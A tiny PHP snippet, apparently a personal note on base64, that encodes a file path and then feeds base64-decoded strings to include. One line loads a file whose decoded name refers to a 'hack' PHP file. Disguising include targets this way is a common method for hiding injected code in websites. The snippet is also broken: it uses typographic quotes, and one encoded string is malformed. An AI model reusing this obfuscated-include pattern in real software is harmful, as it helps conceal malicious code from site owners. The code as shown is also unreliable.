base64

<?php
$str = ‘images\file.txt’;
echo base64_encode($str);
?>
<?
$str= base64_decode(“aW1hZ2VzXGZpbGUudHh0”);
 include $str;
?>
<?   include( base64_decode(“ZZW5xdWV0ZTNfaGFjay5waHA=”)); ?>